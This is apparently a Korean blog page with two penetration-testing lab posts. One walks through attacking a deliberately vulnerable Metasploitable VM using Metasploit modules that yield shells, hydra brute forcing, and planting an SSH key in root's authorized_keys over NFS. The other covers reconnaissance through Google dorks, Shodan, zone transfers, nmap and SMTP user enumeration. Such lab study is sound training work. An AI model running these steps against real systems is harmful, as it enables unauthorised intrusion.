레이블이 nmap인 게시물을 표시합니다. 모든 게시물 표시
레이블이 nmap인 게시물을 표시합니다. 모든 게시물 표시

2018. 8. 8.

[metasploitable] nmap 이후 발견된 서비스에 대한 공격 테스트


공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.

nmap 을 구동하고 나온 결과는 다음과 같다.

# 21번 ftp

p 서비스 
21번

현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)

vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.



# 22번 ssh

openssh 4.7 버전을 사용하고 있다.

ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.



hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.


# 23번 telnet

텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130

hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.





# samba 

nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.

- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run


samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)

- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run

위 명령어를 통해 쉘을 취득할 수 있다.


# 513번 rlogin 



rlogin 취약점 내용

  • http://coashanee5.blogspot.com/2017/04/r-command.html


tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.

# 2046번 nfs 

네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.

원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.

  • sudo apt-get install apt-file
  • sudo apt-file update
  • apt-file search showmount
  • apt-get install nfs-common
)



그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen

ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다. 

(참조 https://opentutorials.org/module/432/3742)

ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다. 

mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다. 
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.  
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys  이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.


그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에  id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )

# 3306번 mysql

mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함


# 5432번 postgresql 

postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함


metasploit 으로 공격을 시도 할 수도 있다. 

- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run


hydra 를 이용한 무차별 삽입 공격


** postgres 명령어


postgres=# \dn
스키마(schema) 목록
  이름  |  소유주  
--------+----------
 public | postgres
(1개 행)

postgres=# select version();
                                            version                                            
-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres-# \l
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한      
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   | 
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig 
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          | 
(1개 행)



** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

# 5900번 VNC

취약한 패스워드에 대한 무차별 삽입 공격을 시도한다. 

- use auxiliary/scanner/vnc/vnc_login
- show options


- set verbose false
- set rhosts 192.168.203.130
- run



# 8180번 Apache tomcat/Coyote JSP engine 1.1

8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다. 
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html

metasploit 에서 로그인 공격을 수행 할 것이다. 

- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run





# 참조
  • https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide

Continue reading

2018. 7. 30.

[웹 취약점] 정보 수집 (패시브 스캐닝 / 액티브스캐닝)

정보 수집은 패시브 스캐닝과 액티브 스캐닝 단계로 구분된다.

1) 패시브 스캐닝
패시브 스캐닝은 공개되어 있는 정보를 수집하는 것이다.

* 구글 해킹

site naver.com -filetype pdf
inurl 은 특정 문자열을 포함한 검색 결과를 찾을때 사용된다
inurl :admin 관리자 페이지를 검색할때 사용
inurl index.php id=
intitle "index of"
intitle "index of" pdf

* whois/netcraft/whatweb
whois  와 netcraft (http://searchdns.netcraft.com/) 역시 공개되어 있는 정보 수집에 유용하다.

간단하게 사용할 수 있는 whatweb 역시 유용하게 사용된다.

* shodan
city 검색 결과를 주어진 도시내로 한정하여 보여준다. (ex. apache city:”Zürich”)
country 검색 결과를 주어진 국가내로 한정하여 보여준다. (ex. nginx country:DE)
geo 특정 위도/경도 정보를 참고후, 근처에 있는 검색 결과를 보여준다.
(ex. apache geo:42.9693,-74.1224)
hostname 검색 결과에서 주어진 호스트 네임과 매칭 되는 결과를 보여준다.
(ex. “Server: gws” hostname:google)
net 특정 Class에 한정하여 검색 결과를 보여준다 (ex.net:216.219.143.0/24)
os 특정 OS에 대한 검색 결과를 보여준다. (ex. microsoft-iis os:”windows 2003″)
port 특정 포트에 대한 검색 결과를 보여준다. (ex.proftpd port:21)
before/after 특정 날짜 전/후에 대한 검색 결과를 보여준다. (ex. nginx before:18/01/2010)

2) 액티브 스캐닝
공격 대상을 직접 스캐닝 (DNS 정보 수집, 포트 스캐닝, 웹스캐닝, 종합 취약점 스캐닝) 하는 것이다.

* DNS를 이용한 정보 수집

- 도메인 서버 알아내기
host zonetransfer.mens

- name 서버 알아내기
host -t ns zonetransfer.me

- zonetransfer 공격 수행

권한이 있는 서버에게 만 zonetransfer 공격을 하는게 아니라 권한 설정을 하지 않아 외부에서도 zonetransfer 공격을 수행 할 수 있다


- dnsenum zonetransfer.me

* 호스트 스캐닝
호스트 하나를 공격해서 침투에 성공하고 나면 내부 내트네트에서 다른 호스트를 추가로 공격하는 경우가 있다 이때 다른 호스트의 IP를 알아내야 한다.

PING 는 어떤 호스트가 살아있는지 확인하는 명령어이다. icmp 라는 네트워크 요청을 보내고 icmp 응답을 보고 결과를 확인해서 살아있는지 확인한다. 종종 방화벽에서 ping 을 막아놓는 경우도 있다.

fping -f 192.168.0.1/24
fping -q -a -f 192.168.0.1/24 살아있는 호스트들만 보는 명령어이다.
결국 해당 네트워크 대역에서 살아있는 호스트를 찾을 수 있다. 그러나 윈도우는 ping 요청이 방화벽으로 차단된다.
nmap 을 사용하면 더 정확한 결과를 얻을 수 있다.
nmap -sn 192.168.0.1/24


* 포트 스캐닝
일반사용자가 아무런 옵션을 주지 않는것은 -sT (connect 스캐닝) 옵션을 준것과 동일하게 동작한다.


그러나 칼리에서 루트 인 경우 -sT 와 같은 syn 스캔이 대신 수행 된다.  
(과거에는 방화벽이 syn 스캔을 탐지하지 못했기 때문에 스텔스 스캔이라고 불리기도 한다)

모의해킹 환경에서는 udp 서비스도 사용될 수 있기 때문에 다음의 명령어를 사용할 수 있다.
nmap -sU 192.168.70.132 -p 100-140


nmap -O 192.168.70.132 를 통해 os 정보를 확인 할 수 있다.

nmap -sV 192.168.70.132 배너 그래핑 공격을 통해 각 서비스의 버전정보를 확인 할 수 있다.  또한 -A 옵션을 통해 os 정보와 배너 그래핑 공격을 한번에 수행 할 수 있다.


nmap 고급 기능인 스크립트를 이용할 수 도 있다.
nmap 192.168.70.132 -p 21 --script=ftp-vsftpd-backdoor



* smtp 공격

target 서버가 25번 포트에서 smp 서비스를 하고 있는 것을 알 수 있다.

nc targetip 25 로 접속 후 VRFY 명령어로 존재하는 사용자 목록을 알아 낼 수 있다


smtp-user-enum 프로그램으로 무차별 삽입 공격을 할 수 있다.


  • kali linux wordlist  경로 : /usr/share/wordlists


- nikto 사용
nikto 결과는 아주 꼼꼼히 봐야한다.

- sparta 사용
nmap을 1차적으로 실행하고 포트를 검색하고 웹 포트가 있으면 nikto를 사용하고 smtp 포트가 있으면 VRFY 기법을 사용하여 사용자 정보를 검사하게 된다. 또한 mysql 과 같은 데이터베이스가 포트가 발견되면 기본사용자 정보를 체크하게 된다.








Continue reading

Popular Posts

Recent Posts

Powered by Blogger.